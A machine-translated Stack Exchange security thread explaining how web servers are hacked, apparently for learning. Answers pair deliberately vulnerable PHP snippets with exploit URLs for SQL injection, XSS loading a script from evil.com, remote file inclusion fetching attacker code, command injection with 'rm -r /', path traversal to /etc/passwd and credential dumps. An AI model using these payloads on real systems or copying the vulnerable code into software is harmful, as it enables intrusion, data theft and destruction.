Frage:
Wie funktioniert Hacking?
user7360
2012-02-01 00:31:44 UTC
view on stackexchange narkive permalink

Ich spreche speziell von Webservern, auf denen Unix ausgeführt wird. Ich war schon immer neugierig, wie Hacker den Einstiegspunkt bekommen. Ich meine, ich sehe nicht, wie ein Hacker sich in die Webseite hacken kann, wenn die einzige Eingabemethode, die er in den Server hat, eine URL ist. Mir muss etwas fehlen, da ich nicht sehe, wie der Hacker nur durch Ändern der URL auf den Server zugreifen kann.

Mit Einstiegspunkt meine ich den Zugriffspunkt. Die Art und Weise, wie ein Hacker auf den Server gelangt.

Kann ich ein Beispiel dafür erhalten, wie ein Hacker einen Einstiegspunkt in einen Webserver erstellen würde? Beliebig C. Sprache ist akzeptabel. Ich habe absolut keine Erfahrung mit Hacken.

Ein einfaches Beispiel wäre wünschenswert.

Ich denke, Sie müssen auf dieser Website nach einigen dieser grundlegenden Informationen suchen. Eine Google-Suche kann ebenfalls hilfreich sein. Suche nach 'Exploit' 'OWASP' 'Port Scanning'
Sie erraten das Passwort.
Ich habe viele Filme gesehen, also habe ich diesen bekommen. Benutze einfach hack.exe und was auch immer du denkst, hack.exe wird es tun. Dieselbe hack.exe funktioniert für mehrere Aufgaben (es gibt auch keine Eingabeargumente).
Ich habe das bei CSI gesehen. Sie verwenden Visual Basic, um eine GUI-Benutzeroberfläche zu erstellen.
@skynorth - Oder häufiger stiehlt man das Passwort über Keylogger; Wiederverwendung von Passwörtern (und eine schädliche Site, die Passwörter / Versuche mit Passwörtern sammelt); Feuerschaf / Drahthai; oder defekter Mechanismus zum Zurücksetzen des Passworts.
Ich kann nicht widerstehen, dieses "Tutorial" über Hacking zu veröffentlichen ... http: //www.youtube.com/watch? V = u8qgehH3kEQ
Bei vielen Angriffen liegt das Hauptaugenmerk darauf, es zu einem Administrator- oder vergessenen Entwickler-Login zu machen. Dort kann ein Angreifer mit dem System umgehen.
Abgesehen davon, dass es sich um eine Frage vom Listentyp handelt (die normalerweise nicht für SE-Sites geeignet ist), ist dies eine lächerlich weit offene Frage. Die Hälfte dieser Seite ist eine Antwort darauf, und selbst das ist offensichtlich nicht vollständig. Die folgenden Antworten sind gute Beispiele, aber bei weitem nicht vollständig.
Sieben antworten:
Chris Dale
2012-02-01 02:49:37 UTC
view on stackexchange narkive permalink

Hacks, die nur durch Ändern der URL funktionieren

  • Ein legitimes und ein böswilliges Beispiel
  • Einige Beispiele erfordern eine URL-Codierung (normalerweise automatisch vom Browser durchgeführt)

SQL Injection

code:

  $ username = $ _POST [ 'Benutzername']; $ pw = $ _GET ['Passwort']; mysql_query ("SELECT * FROM userTable WHERE Benutzername = $ Benutzername UND Passwort = $ pw");  

Exploit (meldet sich als Administrator an, ohne das Kennwort zu kennen):

  example.com/?username=Administrator&password=legalPasswordThatShouldBePostInsteadOfGetexample.com/?username=Administrator&password=password 'oder 1 = 1- -  

Cross Site Scripting (XSS)

code:

  $ nickname = $ _GET ['nickname']; echo "<div>Ihr Spitzname ist $ nickname< / div> \ n";  

Exploit (Registrierer besuchen Benutzer als Zombie in BeEF):

  beispiel.com/?nickname=Karraxexample.com/?nickname=<script src = "evil.com/beefmagic.js.php" / >  

Remotecodeausführung

Code (Tylerls Beispiel):

  <? include ($ _ GET ["module"]. ". php"); >  

Exploit (lädt beliebigen Code herunter und führt ihn aus):

  example.com/?module=frontpageexample.com/ ? module = pastebin.com / mymaliciousscript  

Befehlsinjektion

Code:

  <? Phpecho shell_exec ('cat'. $ _ GET ['filename']);? >  

Exploit (versucht, alle Dateien aus dem Stammverzeichnis zu löschen):

  example.com/?filename=readme.txtexample.com/?filename=readme.txt;rm -r /  

Code-Injection

Code:

  <? Php $ myvar = "varname"; $ x = $ _GET ['arg']; eval ("\ $ myvar = \ $ x;");? >  

Exploit (fügt den Befehl phpinfo () ein, der sehr nützliche Angriffsinformationen auf dem Bildschirm ausgibt):

  example.com/?arg=1example.com/?arg = 1; phpinfo ()  

LDAP-Injektion

Code:

  <? php $ Benutzername = $ _GET ['Benutzername']; $ Passwort = $ _GET ['Passwort']; ldap_query ("(& (cn = $ Benutzername) (Passwort = $ Passwort)")? >  

Exploit (meldet sich an, ohne das Administratorkennwort zu kennen):

  example.com/?username=admin&password=adminadminexample.com/?username=admin&password = *  

Pfaddurchquerung

Code:

  <? phpinclude ("./" . $ _GET ['page']);? >  

Exploit (holt / etc / passwd):

  Beispiel .com /? page = front.phpexample.com /? page = .. / .. / .. / .. / .. / .. / .. / .. / etc / passwd  

Redirect / Forward-Angriff

Code:

  <? php $ redirectUrl = $ _GET ['url'] ; header ("Location: $ redirectUrl") ;? >  

Exploit (Sendet Benutzer von Ihrer Seite an böse p Alter):

  example.com/?url=example.com/faq.phpexample.com/?url=evil.com/sploitCode.php  

Fehler beim Einschränken des URL-Zugriffs

Code:

  N / A. Fehlende .htaccess-ACL oder ähnliche Zugriffskontrolle. Ermöglicht dem Benutzer, den Speicherort von Inhalten zu erraten oder auf andere Weise zu ermitteln, auf die nur zugegriffen werden soll, wenn er angemeldet ist.  

Exploit:

  example.com/users/showUser.phpexample.com/admins/editUser.php  

Fälschung von standortübergreifenden Anforderungen

Code :

  N / A. Dem Code fehlt das Geheimnis von Seite zu Seite, um zu überprüfen, ob die Anforderung von der aktuellen Site stammt. Implementieren Sie ein Geheimnis, das zwischen den Seiten übertragen und validiert wird.  

ausnutzen:

  Legal: example.com/app/transferFunds?amount=1500&destinationAccount=4673243243 Auf einer bösen Seite: <img src = "http://example.com/app/transferFunds?amount=1500destinationAccount=evilAccount#" width = " 0 "height =" 0 "/ >  

Pufferüberlauf (technisch durch Zugriff auf eine URL, jedoch implementiert mit Metasploit

Code:

  N / A. Sicherheitsanfälligkeit im Webserver-Code selbst. Standardpufferüberlauf  

Exploit (Metasploit + meterpreter?):

  http : //www.exploit-db.com/exploits/16798/  
Ausgezeichnete Antwort, haben Sie darüber nachgedacht, dies zu einem Wiki-Beitrag zu machen, damit andere zusätzliche Details hinzufügen können usw. :)
Leider nehmen die meisten Schulen dies nicht in Programmierklassen auf. Ich musste mich größtenteils selbst technisch ausstatten und half oft Klassenkameraden, ihre Seiten zu sichern (und musste eine Lehrer-Website hacken, um meinen Standpunkt zu beweisen).
@s4uadmin Ich hoffe, Sie hatten eine gute Beziehung zu Ihrem Lehrer. "Um einen Punkt zu beweisen" rechtfertigt normalerweise nicht das Hacken der Website eines anderen.
Ich verstehe es nicht, all diese Techniken beruhen darauf, dass der Server die Eingabe nicht validiert. Sobald der Server die Eingabe überprüft hat, funktionieren diese Methoden kein Bit mehr.
@Pacerier Die meisten Exploits werden von jemandem verursacht, der es irgendwo vermasselt. Es ist nur ein einziges Versehen erforderlich, um einen Angreifer an einen ansonsten sicheren Ort zu lassen.
@John Isaacks, nun, ich bin immer noch gut mit ihm befreundet. Er sagte, mach weiter, ich fragte ihn, ob er Backups bereit habe und als er ja sagte, habe ich ein paar Exploits gemacht. Am Ende löschte er seine gesamte Datenbank und entfernte die meisten seiner Dateien. Er wusste nicht, dass so viel möglich war, aufgrund eines kleinen Suchfelds und der grundlegenden Art und Weise, wie seine Website Seiten lud.
@DanNeely Es ist einfach, nichts zu vermasseln. Grundsätzlich sind all diese Dinge in einer einzigen Funktion "F (Benutzereingabe)" verpackt und jetzt 100% sicher. Zum Beispiel gibt es SQL-Injektionen auf * echten * Websites nicht mehr. Es ist ** so einfach **, sie zu verhindern.
@Pacerier Um die Eingabe zu überprüfen, muss ein Programmierer dies tun. Es ist zu beachten, dass "Input Validation" die Hauptursache für die Hälfte der OWASP Top 10 ist
@ScottPack Ja, aber normalerweise gibt es bereits Funktionen, die alle erforderlichen Eingabevalidierungsalgorithmen in einem einzigen "IsValid (" Benutzereingabe ")" zusammenfassen.
Ich bin mit Ihrem Argument, das es noch gibt, respektvoll nicht einverstanden. Der Entwickler muss daran denken, jede einzelne Benutzereingabe zu verpacken. Dies ist eine nicht triviale Übung, wenn er nicht daran gewöhnt ist. http://www.darkreading.com/database-security/167901020/security/attacks-breaches/232301285/latest-sql-injection-campaign-infects-1-million-web-pages.html
@Pacerier Es sollte einfach sein; Die Tatsache, dass nicht validierte Benutzereingaben immer noch ganz oben auf der Liste der erfolgreichen Exploit-Kanäle stehen, bedeutet, dass es immer noch eine große Anzahl von Menschen gibt, die sich Webentwickler nennen und es nicht richtig machen können.
@Pacerier: Das Problem ist normalerweise nicht technisch, wie die Tatsache zeigt, dass einige Sprachen bereits Validierungsunterprogramme bereitstellen. Das Problem ist, dass Entwickler sie nicht (oder nicht richtig) verwenden, was sie zu einem Bildungs- und / oder Entwicklungs- / Test- / Geschäftsprozessproblem macht.
Ich verstehe nicht, was example.com/?url=evil.com/sploitCode.php tut
@LouisRhys, Es handelt sich um einen Umleitungsangriff, der den Benutzer zu den Angriffen "sploitCode.php" umleitet, die ich als ExploitCode.php bezeichne. Dies kann alles sein, von einer Phising-Site über einen Browser-Exploit bis hin zu allem, was Sie wollen. Solange der Benutzer auf Ihrer Website ist, haben Sie viel Kontrolle!
Es gibt so viele Exploits der GET-Formularübermittlungsmethode. `include ($ _ GET ['irgendetwas'])` ** ernsthaft? ** Wer macht das?
@JYelton Sie wären sehr, sehr überrascht (und enttäuscht). Auf kleineren PHP-Websites passiert es immer wieder, wenn jemand ein "Menü" -System hat (viele, viele Anleitungen würden diese Methode lehren!).
@Pacerier Sie würden denken, es wäre einfach und würde nicht passieren, und Sie würden sich irren. HBGary Federal wurde vollständig zerstört, weil der Brückenkopf über eine einzige SQL-Injektion erstellt wurde. Dies ist die gleiche Geschichte wie bei den meisten anderen Opfern von Anonymous. Schulen lehren nicht die Gefahren von SQL-Injection oder Pufferüberläufen usw. Die Validierung von Eingaben ist bestenfalls ein nachträglicher Gedanke. Und was ist eigentlich "gültig"? Wenn ich ein Webforum habe, muss ich sowohl gegen SQL-Injektionen als auch gegen eingebettetes HTML validieren (oft nicht dieselbe Funktion). Ehrlich gesagt ist die Tatsache, dass SQL-Injektionen immer noch auftreten, beängstigend!
@Kitsune Ich glaube nicht, dass erfahrene Entwickler jemals Benutzereingaben vornehmen und diese nicht * bereinigen * werden. Heutzutage geschieht SQL nicht für * echte * Websites, sondern für Websites, die * zum Spaß * von Lernenden erstellt wurden
@Pacerier Ist die Website von Sony Picture also keine "echte" Website? Wenn Sie sich umsehen (oder verschiedenen Websites folgen), werden Sie feststellen, dass SQL-Injection-Angriffe auch bei großen Websites immer noch sehr häufig vorkommen. Die wirkliche Lösung für * SQL Injection * besteht nicht darin, eine "isValid" -Funktion zu verwenden, sondern vorbereitete Anweisungen zu verwenden (die Ihre Daten nicht beschädigen oder legitimen Inhalt unnötig einschränken). Das Problem besteht darin, Code und Daten in SQL zu mischen, nicht die Daten selbst. Sie müssen die Eingabe immer noch bereinigen, je nachdem, wohin sie sonst geht. Dies hängt jedoch von der Groß- und Kleinschreibung ab, nicht von SQL.
Wie würde ein Angreifer wissen, wie man diese Methoden verwendet, ohne den Code überhaupt zu kennen? Wie würden sie beispielsweise bei der SQL-Injection wissen, was sie eingeben müssen, um den vorhandenen Code zu vervollständigen und dann ihren eigenen hinzuzufügen?
@Jonathan. Basierend auf Erfahrungen können Sie lernen, wie ein Entwickler die Anwendung programmiert hat. In einigen Fällen ist es höchstwahrscheinlich auf eine bestimmte Weise geschrieben. In einigen Fällen können Fehlermeldungen auch zu aufschlussreich sein und Hinweise für den Angreifer hinterlassen. Um ehrlich zu sein, macht Penetrationstests am meisten Spaß! Das Gefühl bekommen, dass Sie den Entwickler in seinem Design und Code "schlagen".
Wo soll der PHP-Code im ersten Beispiel platziert werden? Webformulare?
Wenn Sie ein ziemlich technischer Benutzer sind, der sich mit IT-Sicherheit befassen möchte, empfehle ich dringend, die Website hackthissite.org zu besuchen. Es enthält sichere Beispiele für Websites, die für diese Art von Angriffen "anfällig" sind, und zeigt, wie sie recht gut funktionieren, wenn Sie sie in Aktion sehen möchten.
Mir ist klar, dass die Diskussion mehrere Monate alt ist, aber @Pacerier Ich bin mir ziemlich sicher, dass ein großer Teil der Inhalte im Internet * nicht * von erfahrenen Entwicklern geschrieben wurde. Das ist der Grund, warum SQL-Injection immer noch Realität ist. Es ist trivial, sich darum zu kümmern, wenn Sie wissen, was Sie tun, aber es gibt viele Leute, die dies nicht tun.
Wenn Sie beispielsweise zu einem bestimmten Zeitpunkt den Feed mit Fragen des PHP-Labels bei Stack Exchange besuchen und dies sehr real ist, enthalten etwa 40 bis 50% der neuen Fragen auf der ersten Seite * eine PHP + MySQL-Kombination Das ist anfällig für SQL-Injektionen - und es kommt nicht selten vor, dass diese Art von Code in kleinen und mittleren Unternehmen zu finden ist (bis er natürlich kaputt geht).
(Dies ist auch einer der Gründe, warum PHP unter erfahrenen Entwicklern einen so schlechten Ruf hat.)
@kitsune, Ja, Sie können davon ausgehen, dass dies keine * echte * Site ist. Anscheinend haben sie sich nicht die Mühe gemacht, genug für ihre Website auszugeben. Auf http://www.sonypictures.com kann derzeit nicht einmal zugegriffen werden
@Pacerier, die Seite ist gerade für mich online. Sie sagen also, dass SQL Injection kein Problem für eine "echte" Site ist, wobei "real" als eine Site definiert ist, die nicht für SQL Injection anfällig ist? Das ist genau dort ein Trugschluss von 'No True Scotsman'! Wenn dies nicht die Definition ist, wie wäre es dann mit * Ihrer * Definition einer "echten" Site? Ich bin mir ziemlich sicher, dass jede von Ihnen angegebene Definition praktisch jede Website im Internet ausschließt.
@Kitsune, * real * site ist eine Site, die einem * großen * IT-Unternehmen gehört, z. Google, Microsoft.
@Kitsune, Sie gewinnen das Argument, wenn es einen SQL-Injection-Angriff gegen Google gibt. Und natürlich spreche ich nicht über die alten Tage, ich spreche über * diese Tage *.
@Pacerier Jetzt ändern Sie Ihre Argumente! Früher haben Sie behauptet, SQL Injection sei nur für Websites aufgetreten, die "zum Spaß von Lernenden" erstellt wurden. Dann habe ich ein aktuelles Beispiel für eine Website bereitgestellt, die einem großen Unternehmen gehört (und nicht einmal eine Wegwerf-Website, sondern die Hauptwebsite) für eine Hauptabteilung), die über eine SQL-Injection gehackt wurde. Wie für einige Tech-Unternehmen? Nur einige relativ junge zufällige, aber Yahoo im Juli, Nokia August 2011, LinkedIn vor einigen Monaten (wahrscheinlich durch SQL-Injection verursacht, obwohl kein offizielles Wort). Um nur einige zu nennen, die an die Börse gingen. Jetzt wirst du sagen, dass sie nicht zählen.
tylerl
2012-02-01 01:35:44 UTC
view on stackexchange narkive permalink

Der (derzeit) häufigste Weg führt durch Löcher in PHP-Anwendungen. Es gibt Dutzende von Möglichkeiten, wie dies funktionieren könnte, aber hier ist eine einfache, einfache:

Stellen Sie sich vor, der ahnungslose Websitebesitzer beschließt, eine Verknüpfung in seinem Code zu verwenden, z. B. http: // example. com / site.php? module = xyz lädt tatsächlich zuerst eine Vorlagen-Shell und führt dann "xyz.php" aus, um den Inhalt auszufüllen. Vielleicht schreibt er so etwas:

  <h1>My Awesome CMS< / h1><? include ($ _ GET ["module"]. ". php"); ><p>Siehe, was ich dort gemacht habe? Wow, das war klug.< / p>  

Der Hacker besucht die Site dann unter der folgenden URL:
http://example.com/site.php?module= http://malicio.us/evilprogram

Anstatt sein lokales Skript zu laden, geht PHP aus und lädt http://malicio.us/evilprogram.php herunter. Code> und führt ihn aus - führt den vom Angreifer gewünschten PHP-Code aus. Vielleicht Spam senden, vielleicht eine Backdoor-Shell installieren, vielleicht die Konfigurationsdateien nach Passwörtern durchsuchen.

Es gibt buchstäblich Tausende von Möglichkeiten, eine Site zu hacken, jede so neu wie die andere. Fast universell handelt es sich um einen Programmierer, der nicht über alle möglichen Eingaben in sein Programm und die unerwarteten Auswirkungen nachgedacht hat.

Sie haben mich geschlagen (insbesondere "Es gibt Tausende von Möglichkeiten"), also +1 für Sie, aber ich möchte hinzufügen, dass es hier ein weiteres Beispiel gibt: http://www.greensql.com/articles/backdoor- Webserver-using-MySQL-SQL-Injection
+1, um zu beleuchten, warum jemand das verrückte "include" ($ _ GET ["irgendetwas"]) "verwenden würde
@JYelton: Ich habe dies mehrmals in Code gesehen, den meine Kunden geschrieben haben. Wenn jemand ein Gespräch mit "Also haben wir unser eigenes CMS entwickelt ..." beginnt, erschrecke ich ein wenig.
schroeder
2012-02-01 01:57:32 UTC
view on stackexchange narkive permalink

Es gibt zwei Möglichkeiten, sich darauf zu konzentrieren: Sie können sich auf den Server selbst oder auf die Webanwendung konzentrieren, die auf dem Server ausgeführt wird.

Als Server können offene Ports Dienste ausführen dass Sie eine Verbindung zum Server herstellen und Zugriff darauf erhalten können. Durch die Verwendung bekannter Exploits können Sie Root-Zugriff erhalten. Einige FTP-Server für Unix weisen beispielsweise Schwachstellen auf, die von Tools wie Metasploit ausgenutzt werden können, um eine Root-Shell zu erhalten.

Als Anwendung gibt es viel zu viele Möglichkeiten, diese auszunutzen eine schlecht geschriebene oder konfigurierte Anwendung. Wenn Sie beispielsweise eine SQL-Abfrage als GET übergeben, können Sie die URL selbst manipulieren, um einen SQL Injection -Angriff und Dump ganze Datenbanken auszuführen. Zum Beispiel (abhängig von der Codierung der Site): http://www.mydomain.com/products/products.asp?productid=123 UNION SELECT Benutzername, Passwort FROM USERS

Sie berühren wieder ein massives Thema und ich hoffe, diese helfen Ihnen, Ihre nächsten Schritte zu fokussieren.

Ich bin damit einverstanden, dass es zwei Zugangspunkte gibt. eine schwache Anwendung oder Schwachstellen im Server. Es ist jedoch sehr unwahrscheinlich, dass ein aktueller Server (z. B. nur apache2 ausgeführt wird, um statische HTML-Seiten und sshd von einem stabilen Ubuntu-Release mit allen Sicherheitspfaden anzuzeigen) mit starken Passphrasen gehackt wird (abgesehen davon, dass ein ddos ​​das überlastet) oder jemand, der sich von einem Keylog-Computer aus anmeldet), insbesondere wenn Vorsichtsmaßnahmen getroffen werden. 0-Tage-Exploits sind zwar definitiv vorhanden (insbesondere in hochmoderner Software), aber in der Natur für ausgereifte Software eher selten.
Das OP suchte nach Möglichkeiten, Serverzugriff zu erhalten. Die Ausrichtung auf den Server selbst und die von ihm ausgeführten Dienste ist eine praktikable Möglichkeit, dies zu tun. Ich bin damit einverstanden, dass ein Webserver so konfiguriert werden sollte, dass diese Angriffsfläche begrenzt wird, aber es liegt an den Menschen, dies zu tun, und die Menschen sind fehleranfällig. Zum Beispiel konnte ich in einem brandneuen Pitney Bowes-Postautomaten in unserem Netzwerk Fuß fassen, weil es keinen Prozess zum Aktualisieren der Betriebssystemdienste gab. Es ist eine ausgereifte, nicht auf dem neuesten Stand befindliche Software, die im Handel für jedermann erhältlich ist.
Zenexer
2012-02-04 05:31:02 UTC
view on stackexchange narkive permalink

Die kurze Antwort

Dies ist möglicherweise nicht die richtige Frage.

Ein Hacker ...

... ist ein Sozialingenieur.

Sie interessieren sich mehr für ihre Interaktionen mit Menschen als für ihre Interaktionen mit Computern. Ein Hacker möchte Ihnen lieber Ihr Passwort geben, als es brutal erzwingen zu müssen.

... sucht nach Wissen ...

... und weiß, dass Wissen es ist Leistung. Ein Hacker ist mehr daran interessiert, Ihre Kreditkartennummer zu erhalten, als daran, sie tatsächlich zu verwenden.

... verwendet die Moral als Entschuldigung. .

... keine Ursache. Aus diesem Grund werden viele Hacker moralisch orientierte politische Ereignisse nutzen, um an die Öffentlichkeit zu gehen. Sie wissen, dass sie Moral verwenden können, um ihre Handlungen in den Augen der Öffentlichkeit zu entschuldigen.

... wird nicht erwischt, es sei denn, er möchte.

Meistens. Wannabe-Hacker, die ohne Rücksicht auf Stealth oder Anonymität direkt einspringen, werden in der Hacking-Community als "Script Kiddies" oder "Skiddies" bezeichnet. Es gibt höchstwahrscheinlich weit mehr Skiddies als Hacker, und sie werden wahrscheinlich Ihr größter Ärger sein.

... benötigt keine speziellen Tools oder Hintertüren.

Das Frontend dafür Ihre Angabe ist wahrscheinlich ausreichend.

Die lange Antwort

Sie können sich gegen die Exploits in Metasploit absichern, was Sie wollen. Ein Hacker geht einfach direkt durch die Haustür - wenn nicht virtuell, buchstäblich.

Die gewünschte Antwort

Sehen, wie die Leute die Antwort, die ich habe, nicht mögen gab , so angemessen es auch ist, ich gebe Ihnen etwas mehr nach Ihren Wünschen.

Hacker bleiben gerne anonym. Der erste Schritt bei jedem Angriff besteht darin, eine Reihe von Proxys aneinander zu reihen, sei es SOCKS-Proxies, Zombies oder einfach nur Bots, die ein Botnetz bilden. Es gibt einige Möglichkeiten, dies zu tun, aber lassen Sie uns zur Diskussion einige tote Stellvertreter besorgen. Gehen Sie zu pastebin.com und suchen Sie nach 8080 . Dies ist ein gängiger Port für Webproxys. Scrollen Sie in den Ergebnissen nach unten, bis Sie eine Liste der IP-Adressen finden, und klicken Sie, um das Ergebnis anzuzeigen. Sie sollten eine lange Liste von Web-Proxys haben. Ich kann garantieren, dass die meisten, wenn nicht alle, tot sein werden. Entschuldigung, dies ist kein Hacking-Tutorial.

Der nächste Schritt besteht darin, scheinbar triviale Informationen über Ihr Ziel zu sammeln. Mit seinen Proxys würde ein Hacker Portscans ausführen und dann alle Dienste prüfen, die er findet. Hast du eine Website? Lass es uns erkunden. Hast du einen MySQL Server? Mal sehen, um welche Version es sich handelt. SSH ausführen? Mal sehen, ob es Textkennwörter akzeptiert oder auf Zertifikate beschränkt ist.

Dann setzt sich der Hacker, sieht sich an, was er gesammelt hat, und entscheidet, was der schwächste Punkt des Systems ist. Abhängig von der Größe des Systems geht er möglicherweise zurück und prüft etwas mehr, wenn mehr zu prüfen ist und er das Gefühl hat, keine ausreichend gute Schwäche erworben zu haben. Eine Schwäche muss kein echtes Sicherheitsloch sein: Sie muss nur das schwächste Glied sein. Möglicherweise haben Sie einen FTP-Server, der nicht vor Hämmern schützt (wiederholte Anmeldeversuche). Möglicherweise haben Sie einen Webserver mit einer Reihe von Formularen oder potenziell ausnutzbaren URLs. Diese sollten weiter untersucht werden.

Falls erforderlich, schreibt der Angreifer möglicherweise ein Skript oder Programm, um den endgültigen Angriff auszuführen, obwohl dies nicht immer der Fall ist. Die meisten Schwachstellen können mit vorhandenen Tools ausgenutzt werden, sodass dies für den modernen Hacker normalerweise nicht erforderlich ist. Gelegentlich entdecken Hacker jedoch neue Sicherheitslücken in der Software. In diesem Fall müssen sie manchmal spezielle Tools schreiben, um diese Software auszunutzen.

Ein gutes Beispiel für ein offensichtlichstes Angriffsprogramm ist eines, das verwendet wird, um Probleme auf Servern für ein Spiel namens Terraria zu verursachen. Dies war nicht der ursprüngliche Zweck, aber da es verschiedene Exploits in der Serversoftware verfügbar macht, wird es in der Regel von anderen verwendet. Ich habe es in C # geschrieben. Der Quellcode ist auf GitHub verfügbar. Die Exploits verwenden die Bytecode-Manipulation, um den vorhandenen Client so zu ändern, dass schädliche Daten gesendet werden. Der Server erwartet diese Daten nicht und reagiert auf eine Weise, für die sie nicht entwickelt wurden. Das Erkennen solcher Exploits kann so einfach sein wie das Reverse Engineering der Zielsoftware - ich sage einfach, weil dies mit modernen reflektierenden Sprachen wie C # und Java zu einer immer einfacheren Aufgabe geworden ist. Programme wie .NET Reflector (kostenpflichtig) und dotPeek (vorerst kostenlos) ermöglichen dies per Knopfdruck. Ein ausreichend geschulter C # -Programmierer kann dann den Code beobachten, seine Funktionalität bestimmen und ein Programm schreiben, um diese Funktionalität zu ändern.

Ich glaube nicht, dass dies die gestellte Frage beantwortet. Ob es die 'richtige' Frage ist oder nicht, ist eine andere Sache, aber wenn Sie antworten, sollten Sie meiner Meinung nach versuchen, [die Frage zu beantworten] (http://security.stackexchange.com/questions/how-to-answer) das wurde gefragt.
Nun, ich habe die Frage am Ende beantwortet. Ich habe gerade dazu geführt. Ich wollte meiner Antwort einen Kontext geben.
Sie haben geantwortet, aber nicht die Frage, die gestellt wurde. Soweit ich weiß, ging es bei der Frage speziell um das Hacken in einen Server und das Suchen nach bestimmten Beispielen (z. B. "Ich spreche speziell über Webserver, auf denen Unix ausgeführt wird").
@YoavAner Nun, ich wollte einen Kontext angeben, damit ich erklären kann, warum ich kein Beispiel angegeben habe. Der Grund, warum ich keine Probe zur Verfügung gestellt habe, ist, dass meine Antwort keine wirklich rechtfertigt. Wenn ich mir einen Hacker vorstelle, sehe ich jemanden, der gerade ein Gebäude betritt, direkt hinter dem Sicherheitsdienst, zum Serverraum geht und sich an eine Konsole setzt.
Ich fügte die Antwort hinzu, die jeder wollte. Hoffentlich ist das ausreichend.
user5575
2012-02-01 07:31:10 UTC
view on stackexchange narkive permalink

Ein Freund von mir hatte einen Vertrag über die Arbeit an einer Website. Während er es tat, bemerkte er, dass Hacker auf die Website kamen und Dinge taten, die er nicht mochte. Nachdem er sich einige Protokolldateien angesehen hat, bemerkt er, dass die 'Hacker' die Site gefunden haben, indem sie einen MySQL-Fehler gegoogelt haben.

Wenn Sie SQL injizieren können, können Sie alles tun, was Sie wollen, z. B. sich selbst ein Konto erstellen. Wenn Sie Dateien (insbesondere PHP) hochladen können, haben Sie die Möglichkeit, diese auszuführen. Wenn Sie es ausführen können, können Sie mehr Schaden anrichten, z. B. Lese- / Schreibdateien auf dem Server-Dateisystem, selbst wenn Sie kein Konto auf dem Linux- / Windows-Server haben.

Eine andere Technik besteht darin, in die Datenbank einzudringen Die Passwörter (insbesondere wenn sie nicht gehasht sind) als der Versuch, eine SSH- oder FTP-Verbindung zu derselben IP-Adresse der Site herzustellen und die Benutzer- / Passwortkombinationen zu versuchen.

Außerdem müssen Sie nicht einbrechen der Server gehackt werden. Jemand, den ich traf, erzählte mir eine Geschichte, wie veraltete Software auf seinem Server installiert wurde. Die Angreifer verwendeten es, um ihre eigene PHP-Datei hochzuladen und auszuführen, die eine Codezeile (um einen Iframe hinzuzufügen) in jede index.php- und index.html-Datei einfügte. Im Wesentlichen konnte niemand die Website besuchen. Es wurde entweder umgeleitet oder es wurden viele Popups angezeigt.

Die Verwendung alter Software mit bekannten Exploits bricht immer noch in das System ein, und Sie beschreiben, dass dies im Vergleich zu dem, was sie hätten tun können, mild ist.
jl01
2012-02-01 21:27:39 UTC
view on stackexchange narkive permalink

Wie oft haben wir über Anmeldungen ohne Passwort oder "Joes" gelesen? Benötigt keine Kenntnisse über Metasploit oder etwas wirklich Exotisches, um in die Haustür zu gelangen. Ein bisschen wie ein laufendes Auto, das an einem kalten Morgen in einer Einfahrt sitzt "Bitte stiehl mich".

Taipo
2012-02-03 12:53:15 UTC
view on stackexchange narkive permalink

Nur noch ein paar Beispiele, die Sie berücksichtigen sollten.

Nach dem Beispiel von tylerl:

  <? php if (isset ($ _GET ['id']) )) include ($ _GET ['id']. ".php");? >  

Angriffsvektor:

  http: // Opferseite. com /? id = php: //filter/read=convert.base64-encode/resource=includes/configure  

Dies ist eine lokale Datei mit Base64-Angriff, da keine sichere Codierung vorhanden ist Ein Angreifer kann fast jede Datei auf der Site oder dem Server lesen, die mit [.php] endet. In diesem Fall gibt PHP beim Lesen des Dateiinhalts der Datei configure.php einen base64_encode des gesamten Dateiinhalts zurück, der leicht dekodiert werden kann Zurück zum lesbaren Text.

Die fehlerhafte URL muss jedoch nicht nach Sicherheitslücken für die Eingabesicherheit suchen.

Auf vielen Web-Commerce-Websites gibt der Code $ PHP_SELF den Dateinamen falsch an, auf dem sich Ihre Site befindet /admin/administrators.php, $ PHP_SELF hat den Dateinamen als administrators.php gemeldet. Wenn jedoch login.php wie admin / adm angehängt wurde inistrators.php / login.php, dann meldet $ PHP_SELF login.php als Dateinamen anstelle von administrators.php falsch.

Zum Beispiel, wenn in diesem beeindruckenden Beispiel die Frage zur Validierung der Administrationssitzung gestellt wird:

* if (keine gültige Administrationssitzung) und ($ PHP_SELF ist nicht = to login.php) dann umleiten zu login.php *

Die Seite wird niemals zum Login umleiten .php, da $ PHP_SELF den wahren Dateinamen falsch meldet, hat der Angreifer Zugriff auf die Datei administrators.php, ohne dass korrekte Anmeldeinformationen erforderlich sind.



Diese Fragen und Antworten wurden automatisch aus der englischen Sprache übersetzt.Der ursprüngliche Inhalt ist auf stackexchange verfügbar. Wir danken ihm für die cc by-sa 3.0-Lizenz, unter der er vertrieben wird.
Loading...